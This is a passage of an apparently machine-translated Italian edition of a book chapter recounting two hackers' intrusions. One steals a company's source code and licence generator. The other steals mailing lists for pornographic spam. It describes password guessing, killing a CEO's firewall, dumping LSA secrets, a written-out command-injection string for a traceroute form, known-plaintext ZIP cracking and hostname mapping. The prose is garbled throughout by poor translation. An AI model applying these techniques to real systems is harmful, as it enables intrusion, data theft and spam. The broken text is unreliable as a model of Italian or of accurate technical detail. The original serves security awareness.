Ancora non sapeva che i server erano lo sviluppo di applicazioni macchine, memorizzare il codice sorgente del prodotto e la licenza stione codice gestione. In cerca di indizi, ha esaminato con attenzione la posta e Web log per identificare eventuali tipi di attività che potrebbero puntare a questi scatole. Una volta raccolto un elenco di altri indirizzi IP dai log che sembrava interessante, avrebbe indirizzare queste macchine. Il Santo Graal a questa fase è stata workstation di uno sviluppatore, dato che ogni sviluppatore sarebbe probabile avere accesso all'intera raccolta codice sorgente di file.

Da lì, ha abbattuto per diverse settimane. Al di là di raccogliere le password, egli non era in grado di ottenere molto per un paio di mesi, "solo tipo di valle caricamento di un piccolo pezzo di informazioni tanto che ho pensato utile".

Computer del CEO

Questo andò avanti per circa otto mesi, come ha pazientemente "saltellava intorno da server a server "senza trovare né il codice sorgente o il licenza generatore di chiavi. Ma poi, ha ottenuto un importante passo avanti. Ha iniziato looking più da vicino il server Web di backup che aveva compromesso la prima e ha scoperto che essa ha conservato i registri di chiunque recuperare email, elencando il il nome utente e l'indirizzo IP di tutti questi lavoratori. Da un esame delle i registri, lui era in grado di recuperare l'indirizzo IP del CEO. Aveva finalmente identificato un bersaglio valido.

Ho finalmente trovato il computer del CEO e che era una sorta di interfaccia ressaante. I port-scansionato per un paio di giorni e ci sarebbe solo alcuna risposta, ma sapevo che il suo computer era lì. Ho potuto vedere in le intestazioni dei messaggi che avrebbe usato un indirizzo IP fisso, ma era non c'è mai.

Così ho finalmente provato port-scanning sua scatola, controllando alcuni comuni porte ogni due ore a rimanere sotto il radar in caso era running qualsiasi tipo di software di rilevamento delle intrusioni. Vorrei provare a diverse volte diverse della giornata, ma limiterebbe il numero di porte a nessun più di 5 in un periodo di 24 ore.

Mi ci sono voluti un paio di giorni per trovare in realtà una porta aperta nel momento in cui c'era. Ho finalmente trovato una porta aperta sulla sua macchina - 1433 esecuzione di un'istanza di MS SQL Server. Si scopre che era il suo laptop e lui era solo per come due ore ogni mattina. Quindi, era arrivato nel suo ufficio, controllare le e-mail, e poi lasciare o girare il suo laptop off.

L'arte dell'intrusione

158

Entrare nel computer del CEO

Da allora Erik aveva raccolto qualcosa come 20 a 30 le password dal società. "Avevano buoni, password complesse, ma hanno seguito i modelli. E una volta ho capito i loro modelli, ho potuto facilmente indovinare le password. " A questo punto, Erik stime, aveva lavorato su questo per qualcuno cosa come un anno intero. E poi i suoi sforzi sono stati premiati con una grande svolta.

Erik stava al punto era sentiva che stava guadagnando una stretta sulla la strategia della password aziendale, quindi tornò a provare affrontare del CEO del computer, ancora una volta, prendendo pugnalate alla password. Che cosa faceva pensare potrebbe essere in grado di indovinare che cosa la password CEO potrebbe utilizzare per MS SQL Server?

Sai, la verità è che io non riesco a spiegarlo. E 'solo una capacità I indovinare le password gente usa. Posso anche sapere che tipo di password userebbero in futuro. Ho solo un senso per che. Lo sento. E 'come se li diventare e dire ciò che la password Userei prossimo se li avevo.

Non è sicuro se chiamarla fortuna o di abilità, e scrolla di dosso la capacità con "Sono un buon indovino." Qualunque sia la spiegazione, che in realtà è venuto con la password giusta, che ricorda come "non un dizionario parola, ma qualcosa di più complicato. "

Qualunque sia la spiegazione, ora aveva la password che gli ha dato accesso al server SQL come un amministratore di database. Il CEO era "Proprietà".

Ha trovato il computer da ben protetto, con un firewall, e solo una porta aperta. Ma in altri modi, Erik ha trovato molto da deridere. "La sua stema tem era davvero disordinato. Non riuscivo a trovare nulla lì. Lì Voglio dire erano solo i file ovunque. "Non capire la lingua straniera che la maggior parte tutto è stato scritto in, Erik utilizzato alcuni dizionari online e un servizio traduttore online gratuito chiamato "Babblefish" a caccia di parole chiave. Aveva anche un amico che parlava la lingua, che ci ha aiutato. Dal log delle chat, lui era in grado di trovare più indirizzi IP e più password. Dal momento che i file sul computer portatile erano troppo disorganizzato a trovare qualcosa di valore, Erik si rivolse a un approccio diverso, con "dir / s / od <lettera unità>" per elencare e ordinare tutti i file in base alla data in modo da poter guardare quelli di recente accede sulle unità, ed esaminare offline. Nel processo ha visualiz- coperto un nome ovvio per un foglio di calcolo di Excel che conteneva diversi le password per diversi server e applicazioni. Da essa, ha individuato un nome account e una password validi per il loro server DNS primario.

Capitolo 8 vostra proprietà intellettuale non è sicuro

159

Per rendere i suoi prossimi attività più facili - guadagnando un punto d'appoggio migliore, e più facilmente caricare e scaricare file - ha voluto passare al CEO laptop toolkit di suo di hacker. Era solo in grado di comunicare con il laptop attraverso la sua connessione al server Microsoft SQL, ma è stato in grado di utilizzare la stessa stored procedure menzionato in precedenza per inviare comandi a il sistema operativo come se fosse seduto a un prompt di DOS in Windows. Erik ha scritto un piccolo script per causare il FTP per scaricare i suoi strumenti di hacker. Quando non è successo niente sui suoi tre tentativi, ha usato una riga di comando programma già sul computer portatile chiamato "pslist" alla lista la corsa

processi.

Grande errore!

Dal computer portatile del CEO era in esecuzione il proprio firewall personale (Piccolo Personal Firewall), ogni tentativo di utilizzare FTP spuntato una finestra di avviso su schermo del CEO, chiedendo il permesso di connettersi ad Internet.

Fortunatamente il CEO aveva già scaricato una serie comune di comandamento strumenti a linea di www.sysinternals.com di manipolare i processi. Erik usò "Pskill" utilità per uccidere il programma firewall in modo che le finestre di dialogo pop-up sarebbero scomparse prima che il CEO li videsse.

Ancora una volta Erik pensò che sarebbe saggio porre basso per un paio di settimane solo nel caso qualcuno era stato notando la sua attività. Quando lui tornò, ha cercato una strada diversa per tentare di ottenere i suoi strumenti sul Laptop di CEO. Ha scritto una sceneggiatura per recuperare alcuni dei suoi strumenti di hacking utilizzando un "oggetto di Internet Explorer" che sarebbe ingannare il personale firewall a credere che Internet Explorer chiedeva il permesso per la connessione a Internet. Quasi tutti consente di Internet Explorer avere pieno accesso attraverso il loro firewall personale (scommetto che fai, anche), e Erik contava sul suo script in grado di trarre vantaggio da questo. Buono chiamare. Ha funzionato. Egli è stato poi in grado di usare i suoi strumenti per avviare la ricerca del laptop e informazioni estrazione.

Il CEO Spots un break-in

Questi stessi metodi, Erik ha detto, sarebbe ancora lavorare oggi.

In un'altra occasione, durante la connessione al computer del CEO, Erik ancora una volta uccise il firewall in modo da poter trasferire i file su un altro sistema da che sarebbe stato in grado di scaricarli. Durante questo, si rese conto della CEO era al suo computer e deve aver notato qualcosa di strano in corso. "Ha visto l'icona del firewall mancante dalla barra delle applicazioni. Vide Ero su. "Erik subito scesi. Dopo un paio di minuti, la nota-libro è stato riavviato, e il firewall aveva cominciato di nuovo.

L'arte dell'intrusione

160

Non sapevo se era a me. Così ho aspettato un paio di settimane prima sono tornato e l'ho provato di nuovo. Alla fine ho imparato che cosa le sue modalità di lavoro sono stati, quando ho potuto ottenere sul suo sistema.

Ottenere l'accesso all'applicazione

Dopo la posa basso e ripensare la sua strategia, Erik tornò in CEO laptop e partenza esaminando il sistema più da vicino. Prima correva un pubblicamente disponibile strumento da riga di comando denominato LsaDump2, a scaricare sensibile informazioni tiva memorizzate in una parte speciale del Registro di sistema denominato Local Segreti Authority Security. Segreti LSA contiene le password in chiaro per account di servizio, gli hash delle password memorizzate nella cache del 10 utenti scorso, FTP e Nomi Web password utente, e l'account e le password utilizzate per dial-up networking.

Ha inoltre eseguito il comando "netstat" per vedere quali connessioni erano stabilito in quel momento, e quali porte sono state in ascolto per un collegamento. Ha notato che c'era una porta alta di ascolto per un con- arrivo collegamento. Collegamento alla porta aperta dal server di backup che compromessa in precedenza, ha riconosciuto che era un server Web leggero utilizzato come una sorta di interfaccia di posta. Ha capito subito che lui

potrebbe bypassare l'interfaccia di posta e inserire tutti i file sulla root del server directory utilizzata per l'interfaccia di posta. Sarebbe quindi in grado di facilità scaricare file dal computer portatile del CEO al server di backup.

Nonostante i successi minori nel corso dell'anno, Erik non aveva ancora la fonte codice di prodotto, o il generatore di chiavi. Tuttavia, non aveva pensieri di rinunciare. In realtà, le cose erano semplicemente diventando interessante. "Ho trovato un backup della directory 'tools' sul computer portatile del CEO. In esso era un inter-affrontare per un generatore di chiavi, ma non ha avuto accesso al database vivo ". Non aveva trovato il server di licenze che era in esecuzione il database dal vivo contenente tutte le chiavi clienti - solo qualcosa che punta ad esso. "Io non sapere dove si trovavano gli strumenti di licenza attuali per i dipendenti. "Avevo bisogno per trovare il server di vivere. "Ha avuto un sospetto che era sullo stesso server come loro mail server, in quanto la società ha operato un sito Web che ha permesso ai clienti per acquistare subito il prodotto software. Una volta che la trasmissione della carta di credito azione è stato approvato, il cliente riceverà una e-mail con la concessione di licenze chiave ing. C'era un solo server di sinistra che Erik non era stato in grado di individuare e rompere in; deve essere quello che conteneva l'applicazione per generare la chiave di licenza.

Ormai Erik aveva passato mesi in rete e ancora non ha avuto quello che cercava. Ha deciso di curiosare server di backup che aveva compromessa in precedenza e ha iniziato la scansione del server di posta dall'altro

Capitolo 8 vostra proprietà intellettuale non è sicuro

161

server ha già "di proprietà", utilizzando una vasta gamma di porte, che sperano di scoprire alcuni servizi in esecuzione su porte non standard. Ha anche pensato che sarebbe meglio per la scansione da un server di fiducia nel caso in cui il firewall è stato consentendo solo determinati indirizzi IP.

Nel corso delle prossime due settimane ha scansionato la rete il più silenziosamente possibile per identificare i server che erano in esecuzione servizi insoliti, o tentano per eseguire i servizi comuni su porte non standard.

Pur continuando le sue attività di port scanning, Erik ha iniziato l'esame della File di cronologia di Internet Explorer di account amministratore e diversi utenti. Ciò ha portato ad una nuova scoperta. Gli utenti del server di backup erano il collegamento a una porta ad alta numerata sul server di posta principale utilizzando Internet Explorer. Si rese conto che il server di posta principale era anche Blocking accesso a questa porta-alto numero a meno che la connessione è stata da un Indirizzo IP "autorizzato".

Finalmente ha trovato un server Web su una porta alta - "1800 o qualcosa così, ", ricorda - e fu in grado di indovinare un nome utente e pass-combinazione di parole che ha portato un menu di voci. Una possibilità era quella di cercare le informazioni sui clienti. Un altro era per generare le chiavi di licenza per il loro prodotto.

Bingo!

Questo è stato il server con il database in diretta. Erik cominciava a sentire il suo pompa adrenalina quando si rese conto che stava avvicinando al suo obiettivo. Ma "questo server era veramente stretto, incredibilmente stretto. "Ancora una volta si era imbattuto in un vicolo cieco. Ha fatto marcia indietro, pensò cose attraverso, e si avvicinò con un nuova idea:

Ho avuto il codice sorgente di queste pagine Web a causa del backup di

il sito Web ho trovato sul computer portatile del CEO. E ho trovato un link su la pagina Web per alcuni la diagnostica di rete, come netstat, tracciabilità percorso e ping - si potrebbe mettere un indirizzo IP nel modulo web, e fare clic su "OK", e sarebbe eseguire il comando e visualizzare la risultati sullo schermo.

Aveva notato un bug in un programma che poteva correre quando ha registrato per la pagina Web. Se ha scelto l'opzione per fare un comando tracer, il programma avrebbe permesso di fare un *traceroute* - tracciando il percorso che pacchetti per l'indirizzo IP di destinazione. Erik si rese conto che poteva ingannare il programma in esecuzione di un comando di shell inserendo un IP indirizzo, seguito dal simbolo "e", e quindi il suo comando shell. Quindi, entrava qualcosa in forma di seguente:

```
localhost> nul && dir c: \
```

L'arte dell'intrusione

162

In questo esempio, le informazioni inserite nel modulo è post-aggiunti al comando traceroute dallo script CGI. La prima parte (fino al "&" Simbolo) dice al programma di fare un comando traceroute a se stesso (Che è inutile), e reindirizzare l'output di nul, che provoca l'uscita mettere essere "caduto nel secchio bit" (cioè, andare nulla). Una volta che il programma ha eseguito questo primo comando, i "&&" simboli indicano c'è un altro comando di shell da eseguire. In questo caso, si tratta di un comando per visualizzare il contenuto della directory principale dell'unità C - estremamente utile per l'attaccante perché permette di lui o lei a eseguire i comandi di shell arbitrari con i privilegi del conto del Web server è in esecuzione sotto.

"Mi ha dato tutto l'accesso di cui avevo bisogno", ha detto Erik. "Ho praticamente avuto l'accesso a tutto ciò che sul server. "

Erik si diede da fare. Ben presto si accorse che gli sviluppatori della società sarebbe mettere un backup del loro codice sorgente sul server ogni notte. "E 'stato un pile -. l'intero backup è di circa 50 mega "Era in grado di eseguire un serie di comandi per spostare tutti i file che voleva nella directory principale di il server Web e quindi basta scaricare la prima macchina che aveva rotto in, il server Web di backup.

Preso!

L'incidente CEO era stato un invito a chiudere. A quanto pare, l'esecutivo aveva stato sospetto, ma con il suo programma fitto di appuntamenti e aumentando la furtività di Erik, Non c'era stato più allarmi. Tuttavia, come ha approfondito sempre di più nel cuore del sistema della società, è diventato più difficile per Erik di mantenere un basso profilo. Che cosa è successo dopo è spesso il costo di spingendo un hack ai limiti mantenendo una presenza a lungo tempo in un sistema alieno. Stava cominciando a scaricare il codice sorgente del lungo programma cercato, quando

Circa a metà strada attraverso ho notato che mio download interrotto. Io guardò nella directory e il file era andato. Ho iniziato a guardare in alcuni dei file di registro e modificate le date e mi sono reso conto che questo ragazzo era sul server in quel tempo a guardare i file di log. Sapeva che stava facendo qualcosa - in pratica, mi ha catturato.

Chiunque aveva rilevato la presenza di Erik non ha perso tempo a cancellando rapidamente

ing file critici. Il gioco era finito. . . o era?

Erik scollegato e non tornare per un mese. Ormai era stato lottando per ottenere il software per molti mesi, e si potrebbe pensare che sarebbe stato sempre esasperato. Non è così, dice.

Capitolo 8 vostra proprietà intellettuale non è sicuro

163

Pagina 185

Non ho mai frustrato perché è solo più di una sfida. Se io non si ottiene in un primo momento, è solo più per il puzzle. Non è certamente frustrante. E 'un po' come un videogioco, come si va da un livello di livello e la sfida di sfidare. E 'solo una parte di tutto il gioco.

Erik pratica il suo marchio di fede - uno che con abbastanza secuzione Verance paga sempre.

Se una cosa non ha funzionato, mi piacerebbe solo provare qualcosa di diverso, perché io sapeva che c'era qualcosa che avrebbe funzionato. C'è sempre qualcuno cosa che funziona. E 'solo una questione di trovare che cosa.

Torna in Enemy Territory

Nonostante la battuta d'arresto, circa un mese dopo era di nuovo, collegando al computer del CEO per un altro sguardo al registro della chat (ha effettivamente salvato i suoi log delle chat), per vedere se ci fossero note su qualcuno di reporting niente di essere violato. Ricordando il giorno e esatto in posizione della società che era stato avvistato, Erik scansionato il registro. Nessuna menzione di un hacker o di un tentativo non autorizzato di scaricare. Lui tirato un sospiro di sollievo.

Quello che ha fatto trovare al posto era che era stato molto fortunato. Quasi nello stesso momento, ci sarebbe stata una emergenza con una delle società di clienti. Il ragazzo IT aveva abbandonato qualsiasi altra cosa che stava facendo per affrontare con la situazione. Erik ha trovato una voce poi che il ragazzo aveva controllato la registri ed eseguire una scansione antivirus, ma non hanno fatto nulla di più. "E 'stato come lui ho pensato che sembrava sospetto. Sembrava un po 'in essa, ma non ci riuscì spiegarlo ", così aveva appena lasciarlo andare.

Erik si ritirò e attese più tempo per passare, poi rientrò, ma più cautamente, solo durante le ore, quando poteva essere abbastanza certi che non c'era nessuno intorno.

Pezzo per pezzo ha scaricato l'intero file del codice sorgente, bouncing trasmissioni attraverso un server intermedio situato in un straniera Paese - e per una buona ragione, dal momento che stava facendo tutto questo da casa sua. Erik ha descritto la sua familiarità con la rete aziendale in termini che può sembrare sospetto grandioso in un primo momento, ma se si considera il quantità di tempo trascorso scovare le innumerevoli pro ei contro di questo com-il sistema di società, scomponendola un piccolo passo alla volta fino a che conosceva la sua maggior intimità reclusive e stranezze, l'istruzione certamente si trova all'interno i limiti della credibilità.

Sapevo che la loro rete meglio di chiunque ci sapeva. Se hanno avuto problemi, avrei potuto probabilmente li ho fissato per loro

L'arte dell'intrusione

164

Pagina 186

meglio di quanto potrebbero. Voglio dire, sapevo seriamente ogni parte del loro

rete dentro e fuori.

Non c'è ancora

Cosa Erik aveva ora, finalmente scaricato in modo sicuro sul suo computer, è stato il codice sorgente per il software server. . . ma non ancora in una forma che poteva aperto e lo studio. Poiché il software è stato così grande, lo sviluppatore che memorizzati sul server di backup aveva compresso come un file ZIP criptato. In primo luogo ha provato un programma password cracking semplice ZIP, ma non è riuscito a intaccare. Tempo per Plan B.

Erik si rivolse a un nuovo e migliorato password cracker chiamato PkCrack, che utilizza una tecnica chiamata il "noto attacco plaintext." Avere conoscenza di una certa quantità di dati in chiaro che fa parte del archivio crittografato è tutto ciò che serve per decifrare tutti gli altri file all'interno l'archivio.

Ho aperto il file ZIP e trovato un file "logo.tif", così sono andato a loro sito Web principale e guardò tutti i file denominati "logo.tif." I li scaricato e tutti zippato e trovato uno che abbinato stesso checksum come quella nel file ZIP protetto.

Ora Erik aveva il file ZIP protetto e una versione non protetta del File "logo.tif". PkCrack voluti solo cinque minuti per confrontare questi due versioni dello stesso file e recuperare la password. Con la password, rapidamente decompresso tutti i file.

Dopo centinaia di lunghe notti, Erik finalmente avuto il codice sorgente completo che ERA STATO fame dopo.

Quanto a ciò che lo teneva attenersi a questo compito per così tanto tempo, Erik dice: *Oh, facile, è tutta una questione di essere sexy. Mi piace avere una sfida, e Non piace essere rilevato. Mi piace fare le cose in modo diverso, e molto tranquillamente. Mi piace trovare i modi più creativi per fare qualcosa. Certo, il caricamento di uno script è più facile; ma la mia strada era veramente molto raffreddamento. F___k essendo uno script kiddie se si può evitare - un di hacker.*

E che cosa ha fatto con il software e generatore di chiavi? La risposta è che lui e Robert, l'eroe della storia che segue, sia seguire molto la stessa routine come ogni altro, la routine che è comune tra molti di cracker di tutto il mondo. Troverete la storia nella sezione chiamata "Sharing: un mondo di Cracker" verso la fine del capitolo.

Capitolo 8 vostra proprietà intellettuale non è sicuro

165

R

OBERT

,

LA

S

Pammer

,

S

F

Riend

Nel lontano Australia ci vive un altro di quei signori che verticali sono rispettati professionisti della sicurezza di giorno e diventare un hacker black-hat

di notte, affinando le competenze che pagano la loro ipoteca hacking nella la maggior parte delle aziende di software resilienti del pianeta. Ma questo particolare uomo, Robert, non può essere facilmente agganciato in una categoria. Sembra troppo complesso per questo - di un mese di hacking per alcuni software per il suo divertimento e per soddisfare il suo bisogno di una sfida e la prossimo mese assumendo un progetto per denaro che lo segnerà per alcuni persone come quello che egli stesso i termini "uno spammer sporca". Non sporca, sarà scoprire, solo perché ha occasionalmente lavorato come spammer; sporco a causa del tipo di spamming che ha fatto.

"Fare soldi hacking", dice, "è un bel concetto.", Che può essere auto-justificazione, ma non aveva remore a condividere la storia con noi. In realtà, ha portato in su senza averlo richiesto. E fatta luce di esso da coinciso ing un termine: "Credo che si possa dire che sono un spacker - un hacker che funziona per gli spammer. "

Sono stato contattato da un mio amico che ha detto, "Voglio vendere alcuni hard-core bondage porn a migliaia di persone. Ho bisogno di avere milioni e milioni di indirizzi e-mail di persone che vogliono hard-core bondage porn ".

Tu o io potrebbe avere eseguito dalla suggestione. Robert "pensò su per un po'", e poi ha deciso di dare un'occhiata a quello che potrebbe essere coinvolto. "I cercato tutti questi siti di bondage hard-core ", dice, ammettendo che ha fatto questo nonostante il suo essere "tanto per il disgusto della mia ragazza." Ha diretto la cercare in modo perfettamente lineare: con Google, così come un altro portale di ricerca, www.copernic.com, che utilizza più motori di ricerca. I risultati hanno fornito un elenco di lavoro. "L'unica cosa che voglio da questi [siti] è che ama il porno bondage, che vuole ricevere gli aggiornamenti da loro, che ha l'interesse in questa merda. "Se Robert stava per aiutare creare lo spam, non aveva nessuna intenzione di andare su di esso ", come il solito cast di idioti, "l'invio di centinaia di messaggi di posta elettronica a tutti e suo fratello se avevano mai mostrato alcun interesse per l'argomento o no.

Ottenere le Mailing List

Molti dei siti web di bondage, Robert ha scoperto, stava utilizzando un importante applicazione per la gestione di mailing list di sottoscrizione che chiamerò SubscribeList.

L'arte dell'intrusione

166

Proprio utilizzando Google avevo trovato qualcuno che aveva ordinato una copia di [SubscribeList], e aveva sul server Web. Penso che sia stato un Sito in Taiwan o in Cina.

Il passo successivo è stato ancora più facile di quanto si poteva prevedere: *Il loro Web server è stato configurato in modo errato. Qualsiasi utente può visualizzare la fonte [code] del software. Non era la versione più recente del software, ma una versione ragionevolmente recente.*

L'errore è stato che qualcuno aveva incautamente o accidentalmente lasciato un com-Archivio pressato del codice sorgente sul documento principale del Web server. Robert scaricato la fonte.

Con questo programma e nomi che avrebbe catturato dai siti esistenti, Robert capito:

Sarei in grado di inviare messaggi di posta elettronica dicendo: "Vieni al mio sito, siamo

con uno speciale sulla fustigazione ed è a metà prezzo ".

Un sacco di gente abbonarsi a queste cose.

Finora, però, non aveva software mailing-list, ma ancora nessuna mailing list.

Si sedette di studiare il codice sorgente di SubscribeList, e alla fine scoperto un'opportunità. La spiegazione tecnica è complicata (vedi "Insight" alla fine del capitolo).

Simile al modo in cui il cracker della storia precedente utilizzato il "&" simbolo per ingannare un programma in esecuzione i suoi comandi, Robert ha utilizzato un difetto in "setup.pl." Questa lacuna, chiamato l'iniezione "backticked variabile difetto" è basato sul programma di installazione leggero, lo script setup.pl, non adeguatamente convalidare i dati passati a esso. (La differenza è in OPERATE sistema opera-. Il metodo di Erik funziona con Windows; Di Linux con Robert.)

Un malintenzionato può inviare una stringa di dati che avrebbe corrotto un valore memorizzato in una variabile in modo tale che lo script può essere ingannato nella creazione di un altro script Perl utilizzato per eseguire comandi arbitrari.

Grazie a questa svista programmatore, un utente malintenzionato potrebbe iniettare shell comandi.

Gli sciocchi metodo setup.pl a pensare che l'attaccante ha appena installato SubscribeList e vuole fare l'impostazione iniziale. Robert sarebbe in grado di utilizzare questo trucco con qualsiasi società che gestisce la versione vulnerabile di il software. Come ha fatto a trovare una società schiavitù che corrispondono alla descrizione? Il suo codice, Robert dice, è "un po 'di un bender mente, davvero una cagna di scrivere. "Quando la sua sceneggiatura ebbe finito, sarebbe pulire dopo se stessa e

Capitolo 8 vostra proprietà intellettuale non è sicuro

167

quindi impostare tutte le variabili di configurazione di nuovo in modo che nessuno poteva dire niente

successo. "E per quanto io sappia, nessuno ha preso su di esso."

Nessun hacker premuroso avrebbe questi file inviati direttamente alla sua indirizzo in modo che possa essere tracciata.

Sono un grande fan del Web. Amo il Web. Il Web è modo anonimo

mous. Si può andare in un internet café e nessuno sa chi

il f__k siete. La mia roba è rimbalzato in tutto il mondo a pochi

i tempi e non è connessioni dirette. E 'più difficile da rintracciare, e

ci sarà solo forse una o due righe nel file di log della [società].

Porn Payoff

Robert aveva scoperto che molti dei siti di bondage utilizzano lo stesso mailing-software lista. Con il suo programma modificato, ha di mira i loro siti e afferrò loro mailing list, che poi girato al suo amico, lo spammer.

Robert voleva capire che "non stavo spamming persone *direttamente* . "

La campagna è stata incredibilmente efficace. Quando sei spamming direttamente a persone che già sapete "piace molto questa merda" (per usare Robert frase colorata), il tasso di risposta è stato da record.

Sei solito guardando [un tasso di risposta di] 0,1, 0,2 per cento.

[Eravamo] ottenere il 30 per cento almeno di mira. Come dal 30 al 40

per cento delle persone avrebbe comprato. Per un tasso di spamming, cioè assolutamente fenomenale.

Tutto up, devo aver portato probabilmente come circa \$ 45, \$ 50.000

Stati Uniti, e sono tornato un terzo di quella.

Dietro il successo di questa storia sordida si trova il successo degli sforzi di Robert nel raccogliere mailing list di persone disposte a sborsare soldi per questo tipo di materiale. Se i numeri che riferito a noi sono esatti, è un misura dispiaciuto del mondo in cui viviamo.

"Ho avuto", ha detto, "tra i 10 ei 15 milioni di nomi."

R

OBERT IL

M

AN

Nonostante questo episodio, Robert insiste che "io non sono un po 'orribile sporco spammer; Sono una persona molto onesto. "Il resto della sua storia sostiene il reclamo. Lavora in sicurezza per un "molto religioso e onesto società "e prende su progetti esterni come indipendente di sicurezza consulente. E lui è un autore pubblicato su temi di sicurezza.

L'arte dell'intrusione

168

L'ho trovato particolarmente verbale nell'esprimere i suoi atteggiamenti di hacking:

Mi piace molto essere sfidato contro un sistema e mi piace combattere il sistema a livello configurazionale e livello sociale, piuttosto di un livello strettamente tecnico - a livello sociale, significato ottenendo in [testa del] la persona dietro il computer.

Robert ha una lunga esperienza in pirateria. Ha citato un amico (un Di hacker americano il cui nome non voleva rivelato), che usato per avere un gioco con Robert.

Entrambi abbiamo usato per [incidere in] un sacco di società di sviluppo, come persone che sono state la creazione di controlli Active X e controlli Delphi, e piccoli strumenti interessanti per la programmazione. Vorremmo trovare un magazine sul tema e non c'è un annuncio su ogni altra pagina di questi nuovi prodotti. E vorremmo vedere se siamo riusciti a trovare qualcuno che non avevamo hacked. Soprattutto giochi.

Egli ha "vagato in giro" le reti interne di maggiore gioco soft aziende ware e codice sorgente ottenuto ad alcuni dei loro giochi.

Alla fine, lui e il suo compagno di hacker ha cominciato a scoprire che "abbiamo avuto nonostante tutto, un'attività

alleato rotto in praticamente tutti che era la pubblicità ogni nuovo prodotto là fuori. 'Abbiamo fatto questo, questo, questo. . . Siamo ancora cercando di entrare in questo, ma ci hanno dato questo. "'

Eppure, per Robert, una zona ritenuta interesse speciali: prodotti software per quello che chiama "post produzione video" - in particolare, i prodotti utilizzati per creare l'animazione utilizzata nei film.

Amo il caos coinvolto in ciò che queste persone fanno. C'è un po ' geni che fanno queste cose. Mi piace leggere e sapere come funziona, perché sembra così estraneo quando la si guarda. Voglio dire, quando si guarda [il film d'animazione] in televisione probabilmente andare, "Santo f___k, questo è davvero qualcosa. "

Quello che trova particolarmente intrigante sta guardando il codice, a un puro livello matematico - "le equazioni e le funzioni, e la mentalità dietro le persone che creano queste cose. E 'fenomenale. "

Tutto questo lo ha istituito per quello che considera il suo mod più memorabile.

Software Temptation

Nel 2003, Robert stava leggendo attraverso un annuncio di prodotto in un soft-magazine e venne su un nuovo prodotto per fare "il video digitale

Capitolo 8 vostra proprietà intellettuale non è sicuro

169

Pagina 191

effetti, illuminazione songwriter - rendendo sguardo vera luce, con texture [che] erano incredibilmente liscia. "

Il punto vendita tutto questo prodotto è che è stato utilizzato in una recente grande film d'animazione - una delle progettazione, modellazione e caglio Strumenti dering hanno usato.

Quando ho sentito parlare, sembrava davvero cool. E alcune persone da i cerchi sono stato in giro, come in rete, erano molto interessati nel software. Un sacco di gente ha voluto mettere le mani su di esso.

Tutti vogliono ottenere questa applicazione perché è difficile da ottenere, è molto costoso - come in forse due o trecentomila.

E 'utilizzato da, come, Industrial Light and Magic, e c'è probabilmente, come, solo quattro o cinque altre aziende nel mondo che hanno comprato.

Comunque, ero davvero entusiasta di ottenere questo software e mi incammino sul corpo della società. Mi limiterò a li chiamo società X. È che bene? La società X è stato interamente basato in America e la loro intera rete è stata centralizzata.

Il suo obiettivo non era solo quello di ottenere il software per se stesso, ma di condividerla dove sarebbe disponibile a milioni di utenti Internet in tutto il mondo.

Ha trovato l'azienda aveva "un firewall sul davanti, e un po 'stretto rete lavoro. Avevano un sacco di server, e più server Web. Ho indovinato da ciò che, probabilmente, avevano forse 100, 150 dipendenti. "

Alla scoperta Nomi dei server

Robert ha una strategia standard quando sta cercando di penetrare in un aziendale rete che è di dimensioni significative. Egli "va dopo il modo in cui si prendono cura di la necessità per le persone di essere in grado di entrare nella loro rete. Una grande azienda ha una molto maggiore sfida in questo di una piccola. Se si dispone di cinque dipendenti, è possibile inviare una e-mail, giusto? In alternativa, è possibile vederli tutti e dire, 'Questo è il modo di connettersi al server da casa, questo è il modo si ottiene la tua email da casa. '"

Ma una grande azienda di solito hanno un help desk o qualche esterni risorsa che la gente può andare a quando stanno avendo un problema al computer.

Robert capisce che una società con un numero significativo di dipendenti avrà una serie di istruzioni da qualche parte - probabilmente dal suo aiuto scrivania - spiega come accedere ai file e la posta elettronica in modalità remota. Se fosse riuscito a trovare

tali istruzioni, si potrebbero probabilmente imparare i passi per ottenere sul rete dall'esterno, come quello che è necessario un software per connettersi al rete interna sulla VPN aziendale. In particolare, egli sperava di

L'arte dell'intrusione

170

Pagina 192

scoprire che cosa i punti di accesso che gli sviluppatori utilizzati per accedere alla sviluppo

Sistema mento dall'esterno, perché avrebbero accesso al molto-codice sorgente ambita.

Così la sua sfida in questa fase è stato quello di trovare la sua strada per l'help desk.

Ho iniziato a usare una piccola utility chiamata Mapper Network, qualcuno cosa che io ho scritto. Va fondamentalmente sequenziale attraverso una lista di nomi host tipici. Io lo uso come mio resolver DNS sequenziale.

Il Mapper Network identifica gli host e fornisce l'indirizzo IP per ciascuno. Breve script di Robert Perl semplicemente andato giù un elenco di comuni hostname usati e controllati per vedere se esisteva con la società oggetto del dominio. Così, per un attacco a una società chiamata "digitaltoes," lo script potrebbe cercare web.digitaltoes.com, mail.digitaltoes.com, e così via.

Questo esercizio aveva il potenziale di scoprire gli indirizzi IP nascosti o rete blocchi di lavoro che non sono stati facilmente identificati. In esecuzione dello script, che potrebbe tornare risultati cercando come la seguente:

beta.digitaltoes.com

Indirizzo IP # 1: 63.149.163.41 ...

ftp.digitaltoes.com

Indirizzo IP # 1: 63.149.163.36 ...

intranet.digitaltoes.com

Indirizzo IP # 1: 65.115.201.138 ...

mail.digitaltoes.com

Indirizzo IP # 1: 63.149.163.42 ...

www.digitaltoes.com

Indirizzo IP # 1: 63.149.163.36 ...

Ciò avrebbe rivelato che la nostra società fittizie "digitaltoes" ha alcuni server nel blocco rete 63,149, ma avevo messo i miei soldi sul server in il blocco di rete 65,115 con il nome di "intranet" come loro interno rete.

Un piccolo aiuto da helpdesk.exe

Tra i server Robert ha scoperto con la sua Mapper Network è stato il quella che aveva sperato: helpdesk.companyX.com. Quando ha cercato di andare a il sito, però, una finestra di login apparve chiedendo un nome utente e una Password, limitando l'accesso agli utenti autorizzati.

L'applicazione helpdesk era su un server che esegue IIS4, un antico versione di software, di Microsoft Internet Information Server (IIS), che Robert sapeva aveva un numero di vulnerabilità. Con un po 'di fortuna, si potrebbe trovare un'utile uno che non era stato patch.

Capitolo 8 vostra proprietà intellettuale non è sicuro

171

Nel frattempo ha anche scoperto un buco. Alcune società amministrazione tor aveva permesso MS FrontPage in modo tale che chiunque possa caricare o scaricare file dalla directory principale in cui sono memorizzati i file del server Web. (Ho familiarità con il problema. Uno dei server Web a mia sicurezza società di avvio è stato violato utilizzando una vulnerabilità simile, perché il vol-amministratore di sistema volon- che mi stava dando una mano non ha correttamente configurare il sistema. Fortunatamente, il server era un sistema standalone, su proprio segmento di rete.)

